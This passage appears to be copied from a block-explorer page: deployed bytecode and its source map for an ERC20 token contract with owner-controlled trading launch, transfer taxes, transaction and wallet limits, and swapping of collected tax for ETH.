61255d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fc6120ae828461255d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6121a1848661255d90919063ffffffff16565b6040516121ae91906128a9565b60405180910390a350505050565b6000838311158290612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb9190612764565b60405180910390fd5b5060008385612213919061363c565b9050809150509392505050565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561225857612257613670565b5b6040519080825280602002602001820160405280156122865781602001602082028036833780820191505090505b509050308160008151811061229e5761229d612f52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612345573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061236991906130df565b8160018151811061237d5761237c612f52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123e430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611687565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161244895949392919061375d565b600060405180830381600087803b15801561246257600080fd5b505af1158015612476573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b60008083036124ab576000905061250d565b600082846124b99190612da6565b90508284826124c891906137e6565b14612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ff90613889565b60405180910390fd5b809150505b92915050565b600061255583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612671565b905092915050565b600061259f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121bc565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561260f573d6000803e3d6000fd5b5050565b6000808284612622919061359c565b905083811015612667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265e906138f5565b60405180910390fd5b8091505092915050565b600080831182906126b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126af9190612764565b60405180910390fd5b50600083856126c791906137e6565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270e5780820151818401526020810190506126f3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612736826126d4565b61274081856126df565b93506127508185602086016126f0565b6127598161271a565b840191505092915050565b6000602082019050818103600083015261277e818461272b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127bb82612790565b9050919050565b6127cb816127b0565b81146127d657600080fd5b50565b6000813590506127e8816127c2565b92915050565b6000819050919050565b612801816127ee565b811461280c57600080fd5b50565b60008135905061281e816127f8565b92915050565b6000806040838503121561283b5761283a612786565b5b6000612849858286016127d9565b925050602061285a8582860161280f565b9150509250929050565b60008115159050919050565b61287981612864565b82525050565b60006020820190506128946000830184612870565b92915050565b6128a3816127ee565b82525050565b60006020820190506128be600083018461289a565b92915050565b6000806000606084860312156128dd576128dc612786565b5b60006128eb868287016127d9565b93505060206128fc868287016127d9565b925050604061290d8682870161280f565b9150509250925092565b600060ff82169050919050565b61292d81612917565b82525050565b60006020820190506129486000830184612924565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129735761297261294e565b5b8235905067ffffffffffffffff8111156129905761298f612953565b5b6020830191508360208202830111156129ac576129ab612958565b5b9250929050565b60008083601f8401126129c9576129c861294e565b5b8235905067ffffffffffffffff8111156129e6576129e5612953565b5b602083019150836020820283011115612a0257612a01612958565b5b9250929050565b60008060008060408587031215612a2357612a22612786565b5b600085013567ffffffffffffffff811115612a4157612a4061278b565b5b612a4d8782880161295d565b9450945050602085013567ffffffffffffffff811115612a7057612a6f61278b565b5b612a7c878288016129b3565b925092505092959194509250565b600060208284031215612aa057612a9f612786565b5b6000612aae848285016127d9565b91505092915050565b612ac0816127b0565b82525050565b6000602082019050612adb6000830184612ab7565b92915050565b60008060408385031215612af857612af7612786565b5b6000612b068582860161280f565b9250506020612b178582860161280f565b9150509250929050565b600060208284031215612b3757612b36612786565b5b6000612b458482850161280f565b91505092915050565b60008060408385031215612b6557612b64612786565b5b6000612b73858286016127d9565b9250506020612b84858286016127d9565b9150509250929050565b6000612b9982612790565b9050919050565b612ba981612b8e565b8114612bb457600080fd5b50565b600081359050612bc681612ba0565b92915050565b600060208284031215612be257612be1612786565b5b6000612bf084828501612bb7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612c7f57808604811115612c5b57612c5a612bf9565b5b6001851615612c6a5780820291505b8081029050612c7885612c28565b9450612c3f565b94509492505050565b600082612c985760019050612d54565b81612ca65760009050612d54565b8160018114612cbc5760028114612cc657612cf5565b6001915050612d54565b60ff841115612cd857612cd7612bf9565b5b8360020a915084821115612cef57612cee612bf9565b5b50612d54565b5060208310610133831016604e8410600b8410161715612d2a5782820a905083811115612d2557612d24612bf9565b5b612d54565b612d378484846001612c35565b92509050818404811115612d4e57612d4d612bf9565b5b81810290505b9392505050565b6000612d66826127ee565b9150612d7183612917565b9250612d9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c88565b905092915050565b6000612db1826127ee565b9150612dbc836127ee565b9250828202612dca816127ee565b91508282048414831517612de157612de0612bf9565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e1e6020836126df565b9150612e2982612de8565b602082019050919050565b60006020820190508181036000830152612e4d81612e11565b9050919050565b7f416c726561647920696e20737761700000000000000000000000000000000000600082015250565b6000612e8a600f836126df565b9150612e9582612e54565b602082019050919050565b60006020820190508181036000830152612eb981612e7d565b9050919050565b7f4d69736d617463686564207265636970696e69656e747320616e642076616c7560008201527f65732e0000000000000000000000000000000000000000000000000000000000602082015250565b6000612f1c6023836126df565b9150612f2782612ec0565b604082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612f8c826127ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612fbe57612fbd612bf9565b5b600182019050919050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000612fff6014836126df565b915061300a82612fc9565b602082019050919050565b6000602082019050818103600083015261302e81612ff2565b9050919050565b600060408201905061304a6000830185612870565b6130576020830184612870565b9392505050565b7f696e697420616c72656164792063616c6c656400000000000000000000000000600082015250565b60006130946013836126df565b915061309f8261305e565b602082019050919050565b600060208201905081810360008301526130c381613087565b9050919050565b6000815190506130d9816127c2565b92915050565b6000602082840312156130f5576130f4612786565b5b6000613103848285016130ca565b91505092915050565b60006040820190506131216000830185612ab7565b61312e6020830184612ab7565b9392505050565b6000819050919050565b6000819050919050565b600061316461315f61315a84613135565b61313f565b6127ee565b9050919050565b61317481613149565b82525050565b600060c08201905061318f6000830189612ab7565b61319c602083018861289a565b6131a9604083018761316b565b6131b6606083018661316b565b6131c36080830185612ab7565b6131d060a083018461289a565b979650505050505050565b6000815190506131ea816127f8565b92915050565b60008060006060848603121561320957613208612786565b5b6000613217868287016131db565b9350506020613228868287016131db565b9250506040613239868287016131db565b9150509250925092565b60006040820190506132586000830185612ab7565b613265602083018461289a565b9392505050565b61327581612864565b811461328057600080fd5b50565b6000815190506132928161326c565b92915050565b6000602082840312156132ae576132ad612786565b5b60006132bc84828501613283565b91505092915050565b7f5461782065786365656473206d6178696d756d20616d6f756e74000000000000600082015250565b60006132fb601a836126df565b9150613306826132c5565b602082019050919050565b6000602082019050818103600083015261332a816132ee565b9050919050565b6000604082019050613346600083018561289a565b613353602083018461289a565b9392505050565b7f45524332303a20617070726f766520746865207a65726f206164647265737300600082015250565b6000613390601f836126df565b915061339b8261335a565b602082019050919050565b600060208201905081810360008301526133bf81613383565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f2061646472657373600082015250565b60006133fc6020836126df565b9150613407826133c6565b602082019050919050565b6000602082019050818103600083015261342b816133ef565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061348e6029836126df565b915061349982613432565b604082019050919050565b600060208201905081810360008301526134bd81613481565b9050919050565b7f74726164696e67206973206e6f7420796574206f70656e000000000000000000600082015250565b60006134fa6017836126df565b9150613505826134c4565b602082019050919050565b60006020820190508181036000830152613529816134ed565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006135666019836126df565b915061357182613530565b602082019050919050565b6000602082019050818103600083015261359581613559565b9050919050565b60006135a7826127ee565b91506135b2836127ee565b92508282019050808211156135ca576135c9612bf9565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613606601a836126df565b9150613611826135d0565b602082019050919050565b60006020820190508181036000830152613635816135f9565b9050919050565b6000613647826127ee565b9150613652836127ee565b925082820390508181111561366a57613669612bf9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136d4816127b0565b82525050565b60006136e683836136cb565b60208301905092915050565b6000602082019050919050565b600061370a8261369f565b61371481856136aa565b935061371f836136bb565b8060005b8381101561375057815161373788826136da565b9750613742836136f2565b925050600181019050613723565b5085935050505092915050565b600060a082019050613772600083018861289a565b61377f602083018761316b565b818103604083015261379181866136ff565b90506137a06060830185612ab7565b6137ad608083018461289a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137f1826127ee565b91506137fc836127ee565b92508261380c5761380b6137b7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138736021836126df565b915061387e82613817565b604082019050919050565b600060208201905081810360008301526138a281613866565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138df601b836126df565b91506138ea826138a9565b602082019050919050565b6000602082019050818103600083015261390e816138d2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204afbf16f93555d10b8fd9655e12d627e286b2b091c20809d37a8dd173a72c9cf64736f6c63430008150033

Deployed Bytecode Sourcemap

3486:9194:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5608:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6441:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4539:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5885:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6610:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5794:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12176:150;;;;;;;;;;;;;:::i;:::-;;10107:329;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11760:217;;;;;;;;;;;;;:::i;:::-;;5988:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2563:148;;;;;;;;;;;;;:::i;:::-;;11985:183;;;;;;;;;;;;;:::i;:::-;;4600:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2353:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4662:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5699:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10935:817;;;;;;;;;;;;;:::i;:::-;;6115:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12334:306;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10002:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4464:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6290:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9877:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5608:83;5645:13;5678:5;;;;;;;;;;;;;;;;;5671:12;;5608:83;:::o;6441:161::-;6516:4;6533:39;6542:12;:10;:12::i;:::-;6556:7;6565:6;6533:8;:39::i;:::-;6590:4;6583:11;;6441:161;;;;:::o;4539:54::-;;;;:::o;5885:95::-;5938:7;4277:1;4326:2;:15;;;;:::i;:::-;4320:3;:21;;;;:::i;:::-;5958:14;;5885:95;:::o;6610:313::-;6708:4;6725:36;6735:6;6743:9;6754:6;6725:9;:36::i;:::-;6772:121;6781:6;6789:12;:10;:12::i;:::-;6803:89;6841:6;6803:89;;;;;;;;;;;;;;;;;:11;:19;6815:6;6803:19;;;;;;;;;;;;;;;:33;6823:12;:10;:12::i;:::-;6803:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6772:8;:121::i;:::-;6911:4;6904:11;;6610:313;;;;;:::o;5794:83::-;5835:5;4277:1;5853:16;;5794:83;:::o;12176:150::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12237:6:::1;;;;;;;;;;;12236:7;:22;;;;;12247:11;;;;;;;;;;;12236:22;12228:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;12289:29;12306:11;;12289:16;:29::i;:::-;12176:150::o:0;10107:329::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10241:6:::1;;:13;;10220:10;;:17;;:34;10212:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;10310:9;10305:124;10329:10;;:17;;10325:1;:21;10305:124;;;10368:49;10378:12;:10;:12::i;:::-;10392:10;;10403:1;10392:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10407:6;;10414:1;10407:9;;;;;;;:::i;:::-;;;;;;;;10368;:49::i;:::-;10348:3;;;;;:::i;:::-;;;;10305:124;;;;10107:329:::0;;;;:::o;11760:217::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11827:11:::1;;;;;;;;;;;11826:12;11818:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;11888:4;11874:11;;:18;;;;;;;;;;;;;;;;;;11917:4;11903:11;;:18;;;;;;;;;;;;;;;;;;11937:32;11944:11;;;;;;;;;;;11957;;;;;;;;;;;11937:32;;;;;;;:::i;:::-;;;;;;;;11760:217::o:0;5988:119::-;6054:7;6081:9;:18;6091:7;6081:18;;;;;;;;;;;;;;;;6074:25;;5988:119;;;:::o;2563:148::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2670:1:::1;2633:40;;2654:6;::::0;::::1;;;;;;;;2633:40;;;;;;;;;;;;2701:1;2684:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2563:148::o:0;11985:183::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12053:5:::1;12039:11;;:19;;;;;;;;;;;;;;;;;;4277:1;4326:2;:15;;;;:::i;:::-;4320:3;:21;;;;:::i;:::-;12069:12;:22;;;;4277:1;4326:2;:15;;;;:::i;:::-;4320:3;:21;;;;:::i;:::-;12102:14;:24;;;;12142:18;4277:1;4326:2;:15;;;;:::i;:::-;4320:3;:21;;;;:::i;:::-;12142:18;;;;;;:::i;:::-;;;;;;;;11985:183::o:0;4600:55::-;;;;:::o;2353:79::-;2391:7;2418:6;;;;;;;;;;;2411:13;;2353:79;:::o;4662:57::-;;;;:::o;5699:87::-;5738:13;5771:7;;;;;;;;;;;;;;;;;5764:14;;5699:87;:::o;10935:817::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10996:11:::1;;;;;;;;;;;10995:12;10987:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;11042:19;11064:66;11093:36;11125:3;11093:27;3904:2;4277:1;4326:2;:15;;;;:::i;:::-;4320:3;:21;;;;:::i;:::-;11093:11;;:27;;;;:::i;:::-;:31;;:36;;;;:::i;:::-;11064:24;11082:4;11064:9;:24::i;:::-;:28;;:66;;;;:::i;:::-;11042:88;;11178:42;11141:15;;:80;;;;;;;;;;;;;;;;;;11232:58;11249:4;11264:15;;;;;;;;;;;4277:1;4326:2;:15;;;;:::i;:::-;4320:3;:21;;;;:::i;:::-;11232:8;:58::i;:::-;11335:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11317:69;;;11395:4;11402:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11317:118;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11301:13;;:134;;;;;;;;;;;;;;;;;;11446:15;;;;;;;;;;;:31;;;11485:21;11531:4;11551:11;11577:1;11593::::0;11609:12:::1;:10;:12::i;:::-;11636:15;11446:216;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11680:13;;;;;;;;;;;11673:29;;;11711:15;;;;;;;;;;;11729:14;11673:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10976:776;10935:817::o:0;6115:167::-;6193:4;6210:42;6220:12;:10;:12::i;:::-;6234:9;6245:6;6210:9;:42::i;:::-;6270:4;6263:11;;6115:167;;;;:::o;12334:306::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12443:3:::1;12430:9;:16;;:37;;;;;12464:3;12450:10;:17;;12430:37;:52;;;;;12471:11;;;;;;;;;;;12430:52;12422:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;12539:9;12524:12;:24;;;;12575:10;12559:13;:26;;;;12601:31;12610:9;12621:10;12601:31;;;;;;;:::i;:::-;;;;;;;;12334:306:::0;;:::o;10002:97::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10085:6:::1;10071:11;:20;;;;10002:97:::0;:::o;4464:68::-;4277:1;4517:2;:15;;;;:::i;:::-;4508:6;:24;;;;:::i;:::-;4464:68;:::o;6290:143::-;6371:7;6398:11;:18;6410:5;6398:18;;;;;;;;;;;;;;;:27;6417:7;6398:27;;;;;;;;;;;;;;;;6391:34;;6290:143;;;;:::o;9877:117::-;2488:12;:10;:12::i;:::-;2478:22;;:6;;;;;;;;;;:22;;;2470:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9973:13:::1;9960:10;;:26;;;;;;;;;;;;;;;;;;9877:117:::0;:::o;100:98::-;153:7;180:10;173:17;;100:98;:::o;6931:276::-;7041:1;7024:19;;:5;:19;;;;:44;;;;;7066:1;7047:21;;:7;:21;;;;7024:44;7016:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;7145:6;7115:11;:18;7127:5;7115:18;;;;;;;;;;;;;;;:27;7134:7;7115:27;;;;;;;;;;;;;;;:36;;;;7183:7;7167:32;;7176:5;7167:32;;;7192:6;7167:32;;;;;;:::i;:::-;;;;;;;;6931:276;;;:::o;7215:2554::-;7319:1;7303:18;;:4;:18;;;;:38;;;;;7339:1;7325:16;;:2;:16;;;;7303:38;7295:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;7406:1;7397:6;:10;7389:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7464:17;7508:7;:5;:7::i;:::-;7500:15;;:4;:15;;;;:32;;;;;7525:7;:5;:7::i;:::-;7519:13;;:2;:13;;;;7500:32;7496:1904;;;7554:11;;;;;;;;;;;7549:200;;7616:18;:24;7635:4;7616:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;7644:18;:22;7663:2;7644:22;;;;;;;;;;;;;;;;;;;;;;;;;7616:50;7586:147;;;;;;;;;;;;:::i;:::-;;;;;;;;;7549:200;7775:13;;;;;;;;;;;7767:21;;:4;:21;;;:55;;;;;7806:15;;;;;;;;;;;7792:30;;:2;:30;;;;7767:55;:82;;;;;7827:18;:22;7846:2;7827:22;;;;;;;;;;;;;;;;;;;;;;;;;7826:23;7767:82;7763:374;;;7874:11;;;;;;;;;;;7870:222;;;7928:12;;7918:6;:22;;7910:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8027:14;;8017:6;8001:13;8011:2;8001:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7993:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7870:222;8110:9;;:11;;;;;;;;;:::i;:::-;;;;;;7763:374;8161:13;;;;;;;;;;;8155:19;;:2;:19;;;:44;;;;;8194:4;8178:21;;:4;:21;;;;8155:44;8151:497;;;8232:150;8360:3;8232:123;4061:2;8266:9;;:28;8265:89;;3956:2;8265:89;;;8323:13;;8265:89;8232:6;:10;;:123;;;;:::i;:::-;:127;;:150;;;;:::i;:::-;8220:162;;8151:497;;;8416:13;;;;;;;;;;;8408:21;;:4;:21;;;:44;;;;;8447:4;8433:19;;:2;:19;;;;8408:44;8404:244;;;8485:147;8610:3;8485:120;4008:2;8519:9;;:27;8518:86;;3904:2;8518:86;;;8575:12;;8518:86;8485:6;:10;;:120;;;;:::i;:::-;:124;;:147;;;;:::i;:::-;8473:159;;8404:244;8151:497;8662:28;8693:24;8711:4;8693:9;:24::i;:::-;8662:55;;8755:6;;;;;;;;;;;8754:7;:43;;;;;8784:13;;;;;;;;;;;8778:19;;:2;:19;;;8754:43;:71;;;;;8814:11;;;;;;;;;;;8754:71;:128;;;;;4277:1;4517:2;:15;;;;:::i;:::-;4508:6;:24;;;;:::i;:::-;8842:20;:40;8754:128;:175;;;;;4116:2;8899:9;;:30;8754:175;8732:657;;;8964:14;9005:11;;8982:20;:34;8981:73;;9034:20;8981:73;;;9020:11;;8981:73;8964:90;;9073:20;9106:6;9097;:15;9096:35;;9125:6;9096:35;;;9116:6;9096:35;9073:58;;9150:30;9167:12;9150:16;:30::i;:::-;9199:26;9228:21;9199:50;;9293:1;9272:18;:22;9268:106;;;9319:35;9332:21;9319:12;:35::i;:::-;9268:106;8945:444;;;8732:657;7534:1866;7496:1904;9426:1;9414:9;:13;9410:172;;;9471:39;9500:9;9471;:24;9489:4;9471:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9444:9;:24;9462:4;9444:24;;;;;;;;;;;;;;;:66;;;;9553:4;9530:40;;9539:4;9530:40;;;9560:9;9530:40;;;;;;:::i;:::-;;;;;;;;9410:172;9610:27;9630:6;9610:9;:15;9620:4;9610:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9592:9;:15;9602:4;9592:15;;;;;;;;;;;;;;;:45;;;;9664:40;9682:21;9693:9;9682:6;:10;;:21;;;;:::i;:::-;9664:9;:13;9674:2;9664:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9648:9;:13;9658:2;9648:13;;;;;;;;;;;;;;;:56;;;;9735:2;9720:41;;9729:4;9720:41;;;9739:21;9750:9;9739:6;:10;;:21;;;;:::i;:::-;9720:41;;;;;;:::i;:::-;;;;;;;;7284:2485;7215:2554;;;:::o;1249:190::-;1335:7;1368:1;1363;:6;;1371:12;1355:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1395:9;1411:1;1407;:5;;;;:::i;:::-;1395:17;;1430:1;1423:8;;;1249:190;;;;;:::o;10444:483::-;5153:4;5144:6;;:13;;;;;;;;;;;;;;;;;;10522:21:::1;10560:1;10546:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10522:40;;10591:4;10573;10578:1;10573:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10617:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10607:4;10612:1;10607:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10650:62;10667:4;10682:15;;;;;;;;;;;10700:11;10650:8;:62::i;:::-;10723:15;;;;;;;;;;;:66;;;10804:11;10830:1;10846:4;10873;10893:15;10723:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10511:416;5189:5:::0;5180:6;;:14;;;;;;;;;;;;;;;;;;10444:483;:::o;1447:246::-;1505:7;1534:1;1529;:6;1525:47;;1559:1;1552:8;;;;1525:47;1582:9;1598:1;1594;:5;;;;:::i;:::-;1582:17;;1627:1;1622;1618;:5;;;;:::i;:::-;:10;1610:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1684:1;1677:8;;;1447:246;;;;;:::o;1701:132::-;1759:7;1786:39;1790:1;1793;1786:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1779:46;;1701:132;;;;:::o;1105:136::-;1163:7;1190:43;1194:1;1197;1190:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1183:50;;1105:136;;;;:::o;9777:92::-;9834:10;;;;;;;;;;;:19;;:27;9854:6;9834:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9777:92;:::o;918:179::-;976:7;996:9;1012:1;1008;:5;;;;:::i;:::-;996:17;;1037:1;1032;:6;;1024:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1088:1;1081:8;;;918:179;;;;:::o;1841:189::-;1927:7;1959:1;1955;:5;1962:12;1947:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1986:9;2002:1;1998;:5;;;;:::i;:::-;1986:17;;2021:1;2014:8;;;1841:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;::